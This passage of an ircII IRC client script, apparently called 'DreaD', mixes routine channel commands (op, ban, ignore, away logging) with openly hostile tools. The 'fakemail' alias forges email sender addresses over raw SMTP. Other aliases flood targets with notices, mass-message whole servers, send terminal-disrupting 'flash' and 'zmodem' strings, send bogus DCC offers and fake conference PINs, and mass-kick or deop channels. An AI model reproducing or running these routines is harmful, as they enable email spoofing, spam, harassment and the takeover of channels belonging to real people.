  384. alias d.nicko {@ function_return = [$left($index(! $0) $0)]}
  385. alias d.uho {@ function_return = [$right($index(! $0) $0)]}
  386. alias d.userdomain {@ function_return = left($index(@ $0) $0)##[@*]##mid(${1+index(. $0)} 99 $0)}
  387. alias d.notop {d.echo your not opped on $C}
  388. alias d.bw {@ aa = [$0-];@ aaa = [];@ aaaa = [$@aa];@ aaaaa = 0;while (aaaaa < aaaa) {@ aaa = [$mid($aaaaa 1 $aa)] ## aaa;@ aaaaa = aaaaa + 1;};@ function_return = aaa}
  389. alias d.ig {@ d.ig.str = [$1];userhost $0 -cmd if ([$3]!=[<UNKNOWN>]) {^on ^raw_irc "*!*$3@$4 privmsg % :$d.ig.str\**" #;^assign -d.ig.str}}
  390. alias d.log {if ([$d.away]==[y]) {^exec echo "$*" >> .dread.away};if ([$d.away]==[n]) {}}
  391. alias d.bd {if (rmatch($2 #*)) {d.echo BACKDOOR: $1 by $0 detected to $2\}{d.echo BACKDOOR $1 by $0 detected to $N\};//ignore $0 CTCP NOTICE}
  392. alias d.flood {if (rmatch($2 #*)) {d.echo FLOOD: $1 by  $0 detected to $2\}{d.echo FLOOD $1 by $0 detected to $N\};//ignore $0 CTCP NOTICE}
  393. alias d.echo {//xecho -level crap $d.echo.logo $*}
  394. alias list.names {e       $[12]0 $[12]1 $[12]2 $[12]3 $[12]4;if ([$5]) {list.names $5-}}
  395. alias fc {@ c.nick = [$0];quote PRIVMSG $c.nick :DCC CHAT chat ${rand(3) + 1}$rand(6)$rand(5)$rand(4)$rand(4)$rand(7)$rand(8)$rand(9)$rand(6)${rand(2) + 1} ${rand(5) + 1}$rand(5534);^assign -c.nick}
  396. alias fr {@ c.nick = [$0];quote PRIVMSG $c.nick :DCC RESUME ${rand(3) + 1}$rand(6)$rand(5)$rand(4)$rand(4)$rand(7)$rand(8)$rand(9)$rand(6)${rand(2) + 1} ${rand(5) + 1}$rand(5534) ${rand(8) + 1}$rand(9999);^assign -c.nick}
  397. alias k.help {d.echo $d.logo control-k easy kicks;d.echo control-Kj $pipe kick last person to join cur chan;d.echo control-Kn $pipe kick last person to change nicks on cur chan;d.echo control-Km $pipe kick last person to msg you on cur chan;d.echo control-K? $pipe this help}
  398. alias say {quote privmsg $C :$*;//echo \(${N}\) $*}
  399. alias c //mode $C $*
  400. alias pageup {^bind ~ nothing;^type ^Xu;^timer 1 ^bind ~ self_insert}
  401. alias pagedown {^bind ~ nothing;^type ^Xd;^timer 1 ^bind ~ self_insert}
  402. alias dcc if (!rmatch($0 $dcc.cmd.list)) {//dcc $*}{
  403. if ([$0]==[pub]) {if ([$dcc.total]>[0]) {say $d.logo msg $N DCC SEND #N to recieve:;@ dcc.count = 1;while (dcc.count < dcc.total + 1) {say \(#$dcc.count\:$[2]dcc.file.count[$dcc.count]\) $dcc.file.desc[$dcc.count];@ dcc.count = dcc.count + 1};if ([$dcc.tag]) {say        $b\^$b$dcc.tag}{}}{d.echo there are no files currently being offered}}
  404. if ([$0]==[offer]) {@ dcc.total = dcc.total + 1;@ dcc.file[$dcc.total] = [$"enter filename for #$dcc.total\|: "];@ dcc.file.desc[$dcc.total] = [$"enter description for $dcc.file[$dcc.total]\|: "];@ dcc.file.count[$dcc.total] = 0;d.echo file $dcc.file[$dcc.total] has been added with description:;d.echo      $dcc.file.desc[$dcc.total]}
  405. if ([$0]==[save]) {if ([$1]) {@ dcc.snf = [$1]}{@ dcc.snf = [$tolower($encode($rand(9999))).dcc]};dcc.save}
  406. if ([$0]==[load]) {load $1}
  407. if ([$0]==[tag]) {tag}
  408. if ([$0]==[stats]) {@ dcc.count = 1;d.echo $d.logo dcc stats;while (dcc.count < dcc.total + 1) {;d.echo file  : $dcc.file[$dcc.count];d.echo desc  : $dcc.file.desc[$dcc.count];d.echo x dl'd: $dcc.file.count[$dcc.count];@ dcc.count = dcc.count + 1}}
  409. if ([$0]==[reset]) {@ dcc.count = 1;d.echo resetting all dcc settings;while (dcc.count < dcc.total) {;^assign -dcc.file[$dcc.count];^assign -dcc.file.desc[$dcc.count];^assign -dcc.file.count[$dcc.count];@ dcc.count = dcc.count + 1};^assign -dcc.total;}
  410. if ([$0]==[help]) {d.echo $d.logo dcc commands;d.echo /dcc help   $pipe this help;d.echo /dcc tag    $pipe enter a tagline for after the dcc public listing;d.echo /dcc save   $pipe save current dcc offer list;d.echo /dcc load   $pipe load saved offer list;d.echo /dcc offer  $pipe offer files;d.echo /dcc pub    $pipe display offer list to current channel;d.echo /dcc reset  $pipe reset dcc settings;d.echo /dcc stats  $pipe show current stats;d.echo /dcc toggle $pipe turn dcc sends on/off}}
  411. alias dcc.save {@ dcc.count = 1;d.echo saving dcc settings;^exec -name dccsave cat >> $dcc.snf;^msg %dccsave @ dcc.total = [$dcc.total];while (dcc.count < dcc.total + 1) {;^msg %dccsave @ dcc.file[$dcc.count] = [$dcc.file[$dcc.count]];^msg %dccsave @ dcc.file.desc[$dcc.count] = [$dcc.file.desc[$dcc.count]];^msg %dccsave @ dcc.file.count[$dcc.count] = [$dcc.file.count[$dcc.count]];@ dcc.count = dcc.count + 1};^msg %dccsave d.echo dcc saved file loaded;^exec -close %dccsave;d.echo dcc settings saved to $dcc.snf}
  412. alias tag {d.echo hit enter to leave blank;@ dcc.tag = [$"enter the tagline after dcc public listings: "]}
  413. alias bf {@ boob.group = [$"send msg to (server, or *.group) : "];@ boob.type = [$"is $boob.group a (server/host) : "];@ boob.msg = [$"msg to be sent : "];@ boob.sleep.time = [$"enter time to pause between every 5 users : "];^on ^who * {@ boob.total = boob.total + 1;@ boob.victim[$boob.total] = [$1]};d.echo $boob.fone scanning users matching $boob.group\, may take several minutes;if ([$boob.type]==[server]) {//who $boob.group}{//who -h $boob.group};^wait;^boob.send.msg}
  414. alias boob.send.msg {d.echo $boob.fone message: $boob.msg;d.echo $boob.fone group  : $boob.group \($boob.total\) users;@ boob.temp = 1;@ boob.count = 0;while (boob.count < boob.total) {e //notice $boob.victim[$boob.count] -$$$boob.group\- $boob.msg $boob.fone;@ boob.temp = boob.temp + 1;@ boob.count = boob.count + 1;if ([$boob.temp]==[5]) {d.echo $boob.fone sleeping $boob.sleep.time seconds \($boob.total\) users left;@ boob.temp = 0;@ boob.total = boob.total - 5;sleep $boob.sleep.time}};^assign -boob.msg;^assign -boob.group;^assign -boob.temp;^assign -boob.total;^assign -boob.sleep.time;d.echo $boob.fone done;^on ^who -;^fix.who}
  415. alias wall if ([$0]) {@ w.msg = [$1-];if ([$0]==[+o]) {^on ^names * {s.w $1-}};if ([$0]==[-o]) {^on ^names * {s.wn $1-}};^names $C;^wait;^on ^names -;^fix.names}{d.echo $d.logo wall commands;d.echo /wall +o <msg> $pipe send message to all channel ops;d.echo /wall -o <msg> $pipe send message to all non ops}
  416. alias s.w {if (([$[1]0]==[@])&&([$0]!=[@] ## N)) {//^notice $strip(@ $0) \(wall+o\($C\) $w.msg};if ([$1]) {s.w $1-}{on ^names * -;e -> \(+o $C\) $w.msg;^assign -w.msg};^on ^names * -;fix.names}
  417. alias s.wn {if (([$[1]0]!=[@])&&([$0]!=[@] ## N)) {//^notice $strip(@ $0) \(wall-o\($C\) $w.msg};if ([$1]) {s.wn $1-}{on ^names * -;e -> \(-o $C\) $w.msg;^assign -w.msg};^on ^names * -;fix.names}
  418. alias chops if ([$[1]0]==[#]) {//who -chops $0-}{//who -chops $C}
  419. alias dcode {quote privmsg $C :$d.bw($encode($0-));d.echo $N\@$C\: $0-}
  420. alias check {^on ^raw_irc "% 352 *" {@ d_uh = [$7\!$4\@$5];e $3 $[2]strip(GH $8) $[40]d_uh \($strip(: $9)\)$6;^assign -d_uh};w $C;wait;^on ^raw_irc -"% 352 *"}
  421. alias pkick {d.echo $d.logo PhoEniX kicking;d.echo if PhoEniX kicking is on, when you /ctcp $C version, every PhoEniX;d.echo user dread detects, it will kick;@ p.count = 0;@ p.kick = [$"turn PhoEniX kicking (on/off)|: "];if ([$p.kick]==[on]) {^on ^ctcp_reply "*VERSION*hoEni*" {@ p.count = p.count + 1;//kick $C $0 $d.logo\PhoEniXuser \($p.count\};d.echo PhoEniX kicking is now ON};if ([$p.kick]==[off]) {^on ^ctcp_reply "*VERSION*hoEni*" - *;d.echo PhoEniX kicking is now OFF}}
  422. alias mkick {d.echo $d.logo mIRC kicking;d.echo if mIRC kicking is on, when you /ctcp $C version, every mIRC;d.echo user dread detects, it will kick;@ m.count = 0;@ m.kick = [$"turn mIRC kicking (on/off)|: "];if ([$m.kick]==[on]) {^on ^ctcp_reply "*VERSION*mIRC*" {@ m.count = m.count + 1;//kick $C $0 $d.logo\mIRCuser \($m.count\};d.echo mIRC kicking is now ON};if ([$m.kick]==[off]) {^on ^ctcp_reply "*VERSION*mIRC*" - *;d.echo mIRC kicking is now OFF}}
  423. alias kick if (P) {//kick $C $0 $d.logo\$1-}{d.notop}
  424. alias op if (P) {//mode $C +oooo $0 $1 $2 $3;if ([$4]) {op $3-}}{d.notop}
  425. alias deop if (P) {//mode $C -oooo $0 $1 $2 $3;if ([$4]) {deop $3-}}{d.notop}
  426. alias awake if ([$0]) {if ([$0]==[+o]) {@ d.awaken = [on];@ d.beep = [on];d.echo awaken on dcc finish is on};if ([$0]==[-o]) {@ d.awaken = [off];d.echo awaken on dcc finish is off}}{d.echo $d.logo awake features requested by horrid nature;d.echo /awake +o $pipe turn awake on;d.echo /awake -o $pipe turn awake off;d.echo  if awake is on, when you finish a dcc with a nick, dread will;d.echo  beep like a madman.}
  427. alias rm.msg {exec rm -rf .dread.away;d.echo msg log has been deleted}
  428. alias serv {if ([$0]) {//server $0}{//server $d.serv}}
  429. alias ig if ([$0]) {if ([$1]) {userhost $0 -CMD if ([$3]) {//^ignore *$strip(~ $3)@$4 $1-}}{userhost $0 -CMD if ([$3]) {//^ignore *$strip(~ $3)@$4 $d.ignore.level}}}{d.echo usage: /ig <nick>}
  430. alias unig {if ([$0]) {^userhost $0 -CMD if ([$3]) {if ([$4]!=[<unkown>]) {/ignore *$strip(~ $3)@$4 none}{d.echo $0 is not on irc}}}{d.echo type /unig <nick>}}
  431. alias ban if (P) {if ([$0]) {if (match(*!*@* $0)) {c +bbbb $*};userhost $0 -cmd if ([$3]) {if ([$4]!=[<unknown>]) {@ dollar.four = [$4];//mode $C -o+b $0 *!*$strip(~ $3)@*$right(${@dollar.four-index(. $4)} $4)};^assign -dollar.four}{//^mode $C b}}{//^mode $C +b}}{d.notop}
  432. alias nickban if (P) {if ([$0]) {//mode $C +b *$0*!*@*}{d.echo type /nickban <nick>}}{d.notop}
  433. alias userban if (P) {if ([$0]) {^userhost $0 -CMD if ([$3]) {if ([$4] != [<UNKNOWN>]) {//mode $C +b *!*$strip(~ $3)@*}{d.echo $0 is not on irc}}}{d.echo type /userban <nick>}}{d.notop}
  434. alias hostban if (P) {if ([$0]) {^userhost $0 -CMD if ([$3]) {if ([$4] != [<UNKNOWN>]) {//mode $C +b *!*@$4}{d.echo $0 is not on irc}}}{d.echo type /hostban <nick>}}{d.notop}
  435. alias bk if (P) {if ([$0]) {ban $0;wait;//kick $C $0 $d.logo\BK:$1-}{d.echo usage: /bk <nick> <reason>}}{d.notop}
  436. alias d.abk if (P) {if ([$0]) {ban $0;wait;//kick $C $0 $d.logo\ABK:$d.abk.reason[$d.ccc]}{d.echo usage: /bk <nick> <reason>}}{d.notop}
  437. alias fakemail {@ d.fake.host = [$"enter mail host to fake from|: "];@ d.fake.from = [$"enter address to fake|: "];@ d.fake.to = [$"enter address to send mail to|: "];@ d.fake.subject = [$"enter subject|: "];@ d.fake.message = [$"enter short message|: "];d.echo fake mail: connecting to $d.fake.host;^set display off;@ d.fake.socket = connect($d.fake.host 25);^set display on;if (d.fake.socket >= 0) {^userhost $N -cmd if ([$3]) {if ([$3]!=[<unknown>]) {d.echo fake mail: sending data;dcc raw $d.fake.socket $d.fake.host helo $4;sleep 1;dcc raw $d.fake.socket $d.fake.host mail from:$d.fake.from;dcc raw $d.fake.socket $d.fake.host rcpt to:$d.fake.to;sleep 2;dcc raw $d.fake.socket $d.fake.host data;dcc raw $d.fake.socket $d.fake.host To: $d.fake.to;dcc raw $d.fake.socket $d.fake.host Subject: $d.fake.subject;dcc raw $d.fake.socket $d.fake.host $d.fake.message;dcc raw $d.fake.socket $d.fake.host .;dcc raw $d.fake.socket $d.fake.host  ;sleep 6;dcc raw $d.fake.socket $d.fake.host quit
  438. d.echo fake mail: from $d.fake.from to $d.fake.to sent;^assign -d.fake.socket;^assign -d.fake.host;^assign -d.fake.subject;^assign -d.fake.message;^assign -d.fake.to;^assign -d.fake.from}}{d.echo unable to determine hostname;^dcc close raw $d.fake.socket;^assign -d.fake.socket;^assign -d.fake.host;^assign -d.fake.subject;^assign -d.fake.message;^assign -d.fake.to;^assign -d.fake.from}}{d.echo error connecting to $d.fake.host;^assign -d.fake.host}}
  439. # i had to do it this stupid way because the ^input "" if ([$0]) {} dealie
  440. # wasnt echoing my echos properly.
  441. alias settings {@ d.set = [setting:];@ d.cr = [current:];
  442. d.echo $d.logo settings, press enter to skip;d.echo $d.set away message          $d.cr $d.am;
  443. ^assign d.am $"DreaD: "
  444. d.echo $d.set back message          $d.cr $d.bm
  445. ^assign d.bm $"DreaD: "
  446. d.echo $d.set way the $d.echo.logo looks    $d.cr $d.echo.logo
  447. ^assign d.echo.logo $"DreaD: "
  448. d.echo $d.set time before auto away $d.cr $d.idle.time
  449. ^assign d.idle.time $"DreaD: "
  450. d.echo $d.set nickflood number      $d.cr $d.nick.flood
  451. ^assign d.nick.flood $"DreaD: "
  452. d.echo $d.set default server        $d.cr $d.serv
  453. ^assign d.serv $"DreaD: "
  454. d.echo $d.set default nick          $d.cr $d.nick
  455. ^assign d.nick $"DreaD: "
  456. d.echo $d.set default ignore levels $d.cr $d.ignore.level
  457. ^assign d.ignore.level $"DreaD: "
  458. d.echo $d.set dcc download dir      $d.cr $dcc.dl.dir
  459. ^assign dcc.dl.dir $"DreaD: "
  460. d.echo $d.logo on/off's
  461. d.echo $d.set rejoin on kick        $d.cr $d.rejoin
  462. ^assign d.rejoin $"DreaD: "
  463. d.echo $d.set kick on flood         $d.cr $d.f.prot
  464. ^assign d.f.prot $"DreaD: "
  465. d.echo $d.set msg beeping           $d.cr $d.msg.beep
  466. ^assign d.msg.beep $"DreaD: "
  467. d.echo $d.set version spoofing      $d.cr $d.ver.spoof
  468. ^assign d.ver.spoof $"DreaD: "
  469. d.echo $d.set nethack protection    $d.cr $d.nhp
  470. ^assign d.nhp $"DreaD: "
  471. d.echo $d.set version cloaking      $d.cr $d.ver.cloaking
  472. ^assign d.ver.cloaking $"DreaD: "
  473. d.echo $d.set ping cloaking         $d.cr $d.p.cloaking
  474. ^assign d.p.cloaking $"DreaD: " 
  475. ;^assign -d.set;^assign -d.cr;@ d.blah.blah = [$"save changes? (y/n) "];if ([$d.blah.blah]==[y]) {save;^assign -d.blah.blah}{^assign -d.blah.blah}}
  476. alias unban if (P) {if ([$0]) {userhost $0 -cmd if ([$3]) {^assign aaaaa $0!$3@$4;^on ^367 * {if (rmatch($aaaaa $2)) {//mode $C -b $2}};//mode $C b;wait;^assign -aaaaa;^on 367 -}{d.echo $0 is not on irc}}{d.echo /unban <nick> to unban someone from cur chan}}{d.notop}
  477. alias mass if ([$0]) {
  478. if ([$0]==[d]) {if (P) {d.echo massdeop: scanning $C;^set display off;on ^who "*" {if ([$1]!=[$N]) {if (rmatch($2 *@*)) {^assign aa $1 ${aa}}}};^who $C;d.echo massdeop: deopping $C;^wait;^aa $aa;^set display on;^assign -aa;^on ^who "* $N *" -;^on ^who "*" -;fix.who}{d.notop}}
  479. if ([$0]==[o]) {if (P) {d.echo massop: scanning $C;^on ^who * {if ((!rmatch($2 *@*))&&([$1]!=[$N])) {^assign mo.nix $1 ${mo.nix}}};^who *;wait;d.echo massop: opping $C;^op $mo.nix;^set display off;assign -mo.nix;^on who - *;^set display on;fix.who}{d.notop}}
  480. if ([$0]==[t]) {massdcc}
  481. if ([$0]==[i]) {d.echo massinv: scanning $1;^on ^who * {if (([$1]!=[$N])&&([$0]!=[$C])) {eval ^timer $rand(10) //invite $1 $C}};d.echo massinv: inviting $1 to $C;//^who $0-;wait;^on who -;fix.who}
  482. if ([$0]==[k]) {if (P) {d.echo masskick: scanning $C;@ k.count = 1;d.echo masskick: kicking $C;^on ^who * {/if ([$1]!=[$N]) {//kick $C $1 $d.logo\masskick\($k.count\;@ k.count = k.count + 1}};^who *;wait;^on who - *;fix.who}{d.notop}}
  483. if ([$0]==[n]) {if (P) {d.echo mass non-op kick: scanning $C;@ k.count = 1;d.echo mass non-op kick: kicking $C;^on ^who * {/if ((!rmatch($2 *@*))&&([$1]!=[$N])) {//kick $C $1 $d.logo\nonop\($k.count\;@ k.count = k.count + 1}};^who *;wait;^on who - *;fix.who}{d.notop}}
  484. if ([$0]==[v]) {d.echo massvoice: scanning $C;^on ^who * {if (!rmatch($2 *+*)) {^assign d.voice $1 ${d.voice}}};^who *;wait;d.echo massvoice: voicing $C;voice $d.voice;^assign -d.voice;^on who -;fix.who}
  485. if ([$0]==[-v]) {d.echo massunvoice: scanning $C;^on ^who * {if (rmatch($2 *+*)) {^assign d.voice $1 ${d.voice}}};^who *;wait;d.echo massunvoice: voicing $C;unvoice $d.voice;^assign -d.voice;^on who -;fix.who}
  486. }{d.echo $d.logo mass functions;d.echo /mass i  $pipe mass invite;d.echo /mass d  $pipe mass deop;d.echo /mass o  $pipe mass op;d.echo /mass k  $pipe mass kick;d.echo /mass n  $pipe mass nonop kick;d.echo /mass v  $pipe mass voice the current chan;d.echo /mass -v $pipe mass unvoice the current chan}
  487. alias clearban {^set display off;^assign d.c.b $0!$3@$4;^assign -d.cc.b;^on -367 * {^assign d.cc.b $2 ${d.cc.b}};//^mode $C +b;wait;d.ub $d.cc.b;^assign -d.c.b;^set display on;^on 367 -}
  488. alias filter if ([$0]) {if (P) {@ fk.adr = [$1];if ([$0]==[-bk]) {c +b $fk.adr}{};^on ^who * {if ((rmatch($1!$3@$4 $fk.adr))&&([$1]!=[$N])) {kick $1 filter: $fk.adr}};^who *;wait;^on who - *;fix.who;^assign -fk.adr}{d.notop}}{d.echo $d.logo filters;d.echo /filter -k  <filter> $pipe kick all users matching filter;d.echo /filter -bk <filter> $pipe will ban then kick the filter}
  489. alias d.ub {//mode $C -bbbb $0 $1 $2 $3;if ([$4]) {d.ub $4-}}
  490. alias d.addmsg {@ d.matched = rmatch($0 $^\1-);if (d.matched) {@ d.msglist = [$(0-${d.matched-1}) $(${d.matched+1}-)]}{@ d.msglist = [$(0-${d.msgmax-1})] };@ d.msgcnt = 0;^assign -d.matched}
  491. alias d.getmsg {@ d.msgcnt = d.msgcnt + [$0];if ( #d.msglist < d.msgcnt ) {@ d.msgcnt = 1};if (d.msgcnt <= 0) {@ d.msgcnt =  #d.msglist};@ d.junk = K ## [msg];type ^U$d.junk $^^{[$($d.msgcnt)]} }
  492. alias setaway {@ d.away = [y];if ([$0]) {@ rsn = [$0-]}{@ rsn = [$d.am]};//away $rsn \($Z\) $d.logo;me is away: $rsn;d.echo type /back or /setback to return. use /play to view msg's;^on ^msg * {^d.addmsg $0 $d.msglist;@ msgcount = msgcount + 1;@ d.last.msg[$msgcount] = ["$0!$d.userdomain($userhost())" $1-];e #$0\($d.userdomain($userhost()))\($Z\)# $1-;//exec echo "e #$strip(` $0)\($d.userdomain($userhost()))\($Z\)# $strip(`! $1-)" >> .dread.away};^on ^notice * {@ notcount = notcount + 1;@ d.last.not[$notcount] = [-$0!$d.userdomain($userhost())- $1-];e -$0\($d.userdomain($userhost()))\($Z\)- $1-;//exec echo "e -$strip(` $0)\($d.userdomain($userhost()))\($Z\)- $strip(!` $1-)" >> .dread.away}}
  493. alias setback {@ d.away = [n];if ([$0]) {@ rsn = [$0-]}{@ rsn = [$d.bm]};me is back: $rsn;fix.msg;fix.notice;//away;play;@ dml = [$"delete msg log? (y/n) : "];if ([$dml]==[y]) {rm.msg};if ([$dml]==[n]) {d.echo msg log has not been saved}}
  494. alias fake if ([$0]) {if ([$0]==[chat]) {fc $1};if ([$0]==[rme]) {fr $1};if ([$0]==[dcc]) {@ nnnick = [$1];@ f.namee = [$2];@ f.bytes = [$3];quote PRIVMSG $nnnick :DCC SEND $f.namee ${rand(3) + 1}$rand(6)$rand(5)$rand(4)$rand(4)$rand(7)$rand(8)$rand(9)$rand(6)${rand(2) + 1} ${rand(5) + 1}$rand(5534) $f.bytes\;d.echo fake file $f.namee sent to $nnnick;^assign -nnnick;^assign -f.namee;^assign -f.bytes};if ([$0]==[mail]) {fakemail};if ([$0]==[coll]) {eval d.quit $d.f.coll};if ([$0]==[kill]) {eval d.quit $d.f.kill};if ([$0]==[split]) {eval d.quit $S irc.dread.net};if ([$0]==[join]) {@ f.ake = [$1];@ f.chn = [$f.ake];join #$f.chn;c +ni;d.echo you have just fake joined $f.chn};if ([$0]==[conf]) {msg $1 conf info: 1800-403-$rand(9)$rand(9)$rand(9)$rand(9) pin: $rand(9)$rand(9)$rand(9)$rand(9)$rand(9)$rand(9)};if ([$0]==[ftp]) {msg $1 ${rand(2) + 1}$rand(55).$rand(99).$rand(255).$rand(99) $tolower($encode($rand(999)))/$tolower($encode($rand(999)))/$tolower($encode($rand(999)))}}
  495. {d.echo $d.logo various fakes;d.echo /fake rme  $pipe send fake dcc resume to <nick>;d.echo /fake chat $pipe send fake dcc chat req to <nick>;d.echo /fake dcc  $pipe send fake file - /fake dcc <nick> <filename> <bytes>;d.echo /fake coll $pipe signoff with a fake nick collision;d.echo /fake kill $pipe signoff with a fake kill message;d.echo /fake split$pipe signoff with a fake netsplit message;d.echo /fake join $pipe fakejoin a channel;d.echo /fake conf $pipe msg fake conf info to nick/channel;d.echo /fake ftp  $pipe msg fake ftp site to nick/channel;d.echo /fake mail $pipe fake mail - prompt driven}
  496. alias wkick if (P) {if ([$0]) {if ([$0]==[+]) {@ d.word = [$1-];^on -public "% % *$d.word*" {kick $0 wordkick};d.echo dread will kick when someone says $d.word};if ([$0]==[-]) {^on public - "% % *$d.word*";d.echo $d.word removed from wordkick list}}{d.echo $d.logo wordkicks;d.echo /wkick + <word> $pipe kick when someone says <word>;d.echo /wkick -        $pipe turn wordkick off}}{d.notop}
  497. alias fix.who {^on ^who "*" {echo $0 $[3]2\[$1\!$3@$4] \($5-\)}}
  498. alias fix.whois {^on ^311 * {p.echo info for    \($1\);p.echo irc address \($2\@$3\);p.echo irc name    \($5-\)};^on ^312 * {p.echo server      \($1\)};^on ^313 * {p.echo oper        \(shit licker\)};^on ^317 * {if (index(012345679 $3) != -1) {^assign -sectime;^assign -mintime;^assign sectime $2;@ mintime = sectime / 60;p.echo idle for    \($mintime minutes $2 seconds\);p.echo signed on   \($stime($3)\)}};^on ^319 * {p.echo on channels \($1-\)}}
  499. alias fix.msg {^on ^msg * {if ([$d.msg.beep]==[on]) {e "$0!$d.userdomain($userhost())" $1-};if ([$d.msg.beep]==[off]) {e "$0!$d.userdomain($userhost())" $1-};@ msgcount = msgcount + 1;@ d.last.msg[$msgcount] = ["$0!$d.userdomain($userhost())" $1-];^d.addmsg $0 $d.msglist;if ([d.away]==[y]) {d.logo d.echo $d.last.msg.$msgcount}{}}}
  500. alias fix.notice {^on ^notice * {e -$0!$d.userdomain($userhost())- $1-;@ notcount = notcount + 1;@ d.last.not[$notcount] = [-$0!$d.userdomain($userhost())- $1-]}}
  501. alias fix.notify {if ([$0]==[do]) {@ d.counte = 1;while (d.counte < d.not.number + 1) {//notify $d.not.list[$d.counte];@ d.counte = d.counte + 1;};};if ([$0]==[save]) {^msg %qqq @ d.not.number = $d.not.number;@ d.counte = 1;while (d.counte < d.not.number + 1) {^msg %qqq @ d.not.list[$d.counte] = [$d.not.list[$d.counte]];@ d.counte = d.counte + 1}}}
  502. alias fix.names {^on ^names * {@ channel.name = [$0];@ names.list = [$1-];@ all.ops = [$strip(+1234567890QWERTYUIOPLKJHGFDSAZXCVBNMqwertyuiopasdfghjklzxcvbnmqwertyuioplkjhgfdsazxcvbnm^'`_-\{\}[]\\/<>| $names.list)];e *** $b$0$b\ ops: $#all.ops\  nonops: ${#names.list - #all.ops}  total $#names.list\;list.names $names.list;^assign -names.list;^assign -all.ops}}
  503. alias fix.bans {^on ^367 * if ([$4] != []) {p.echo $1 \($3 - $stime($4)) $2}{p.echo $1-}}
  504. alias fix.key {@ k[$0] = [$2]}
  505. alias shit if ([$0]) {^repeat 10 //quote notice $0 : *;d.echo shit flooded $0}{d.echo type: /shit <nick> for a really annoying flood}
  506. alias flashz {@ poopy = [$"send flash or zmodem (flash/zmodem) |: "];@ face = [$"send string to (msg/topic/channel/notice/ctcp/key) |: "];@ where = [$"send to (nick/channel) |: "];if ([$poopy]==[flash]) {if ([$face]==[msg]) {//msg $where $d.f};if ([$face]==[topic]) {//topic $d.f};if ([$face]==[channel]) {//msg $where $d.f};if ([$face]==[notice]) {//notice $where $d.f};if ([$face]==[ctcp]) {//ctcp $where $d.f};if ([$face]==[key]) {//mode $where +k $d.f}};if ([$poopy]==[zmodem]) {if ([$face]==[msg]) {//msg $where $d.z};if ([$face]==[topic]) {//topic $where $d.z};if ([$face]==[channel]) {//msg $where $d.z};if ([$face]==[notice]) {//notice $where $d.z};if ([$face]==[ctcp]) {//ctcp $where $d.z};if ([$face]==[key]) {//mode $where +k $d.z}};d.echo a $poopy string was $face\'d to $where}
  507. alias fnot if ([$0]) {quote notice $0 :$1-}{d.echo type: /fnot <nick/channel> <message>}
  508. alias awp if ([$0]) {if ([$0]==[+]) {@ d.awp.number = d.awp.number + 1;@ d.awp.list[$d.awp.number] = [$1];d.echo $d.awp.list[$d.awp.number] has been added to your auto awp list};if ([$0]==[-]) {d.echo $d.awp.list[$1] has been erased from your auto awp list;@ d.awp.number = d.awp.number - 1;^assign -d.awp.list[$1]};if ([$0]==[s]) {d.echo $d.logo awp list;@ d.counte = 1;while (d.counte < d.awp.number + 1) {d.echo #$d.counte $d.awp.list[$d.counte];@ d.counte = d.counte + 1}}}{d.echo $d.logo awp list;d.echo /awp + $pipe add an address to your awp list;d.echo /awp - $pipe erase address number from your awp list;d.echo /awp s $pipe show your awp list}
  509. alias aig if ([$0]) {if ([$0]==[+]) {@ d.ig.number = d.ig.number + 1;@ d.ig.list[$d.ig.number] = [$1];d.echo $d.ig.list[$d.ig.number] has been added to your auto ignore list};if ([$0]==[-]) {ig $d.ig.list[$1] PUBLIC;d.echo $d.ig.list[$1] has been erased from your auto ignore list;@ d.ig.number = d.ig.number - 1;^assign -d.ig.list[$1]};if ([$0]==[s]) {d.echo $d.logo ignore list;@ d.counte = 1;while (d.counte < d.ig.number + 1) {d.echo #$d.counte $d.ig.list[$d.counte];@ d.counte = d.counte + 1}}}{d.echo $d.logo ig list;d.echo /aig + $pipe add an address to your ig list;d.echo /aig - $pipe erase address number from your ig list;d.echo /aig s $pipe show your auto ignore list}
  510. alias abk if ([$0]) {if ([$0]==[+]) {@ d.abk.number = d.abk.number + 1;@ d.abk.list[$d.abk.number] = [$1];d.echo $d.abk.list[$d.abk.number] has been added to your auto abk list};if ([$0]==[-]) {;d.echo $d.abk.list[$1] has been erased from your auto abk list;@ d.abk.number = d.abk.number - 1;^assign -d.abk.list[$1]};if ([$0]==[s]) {d.echo $d.logo abk list;@ d.counte = 1;while (d.counte < d.abk.number + 1) {;d.echo #$d.counte $d.abk.list[$d.counte];@ d.counte = d.counte + 1}}}{d.echo $d.logo autobankick list;d.echo /abk + <address> $pipe add an address to your abk list;d.echo /abk - <number>  $pipe erase address number from your abk list;d.echo /abk s           $pipe show your abk list}
  511. alias notify if ([$0]) {if ([$0]==[+]) {@ d.not.number = d.not.number + 1;@ d.not.list[$d.not.number] = [$1];d.echo $d.not.list[$d.not.number] has been added to your notify list;//^notify $d.not.list[$d.not.number]};if ([$0]==[-]) {d.echo $d.not.list[$1] has been erased from your notify list;@ d.not.number = d.not.number - 1;^assign -d.not.list[$1];};if ([$0]==[s]) {;d.echo $d.logo notify list;@ d.counte = 1;while (d.counte < d.not.number + 1) {;d.echo #$d.counte $d.not.list[$d.counte];@ d.counte = d.counte + 1}}}{d.echo $d.logo notify list;d.echo /notify + $pipe add a nick to your notify list;d.echo /notify - $pipe erase nick number from your notify list;d.echo /notify s $pipe show your notify list}
  512. alias .mv {if ([$1]) {.mv $1-};ver $0}
  513. alias .mk {^assign -d.multi.count;@ d.multi.count = 1;if ([$1]) {.mk $1-;@ d.multi.count = d.multi.count + 1};@ d.multi.count = d.multi.count + 1;kick $0 multikick \(${d.multi.count / 2}}
  514. alias .mb {if ([$1]) {.mb $1-};ban $0}
  515. alias .mbk {^assign -d.multi.count;@ d.multi.count = 1;if ([$1]) {.mbk $1-;@ d.multi.count = d.multi.count + 1};@ d.multi.count = d.multi.count + 1;bk $0 multibk \(${d.multi.count / 2}}
  516. alias multi if ([$0]) {if ([$0]==[b]) {.mb $1-};if ([$0]==[bk]) {.mbk $1-};if ([$0]==[k]) {.mk $1-};if ([$0]==[v]) {.mv $1-}}{d.echo $d.logo multi commands;d.echo multi k <nicks>     kick as many nicks as you enter;d.echo multi b <nicks>     ban as many nicks as you enter;d.echo multi bk <nicks>    bankick as many nicks as you enter;d.echo multi v <nicks>     version as many nicks as you enter}
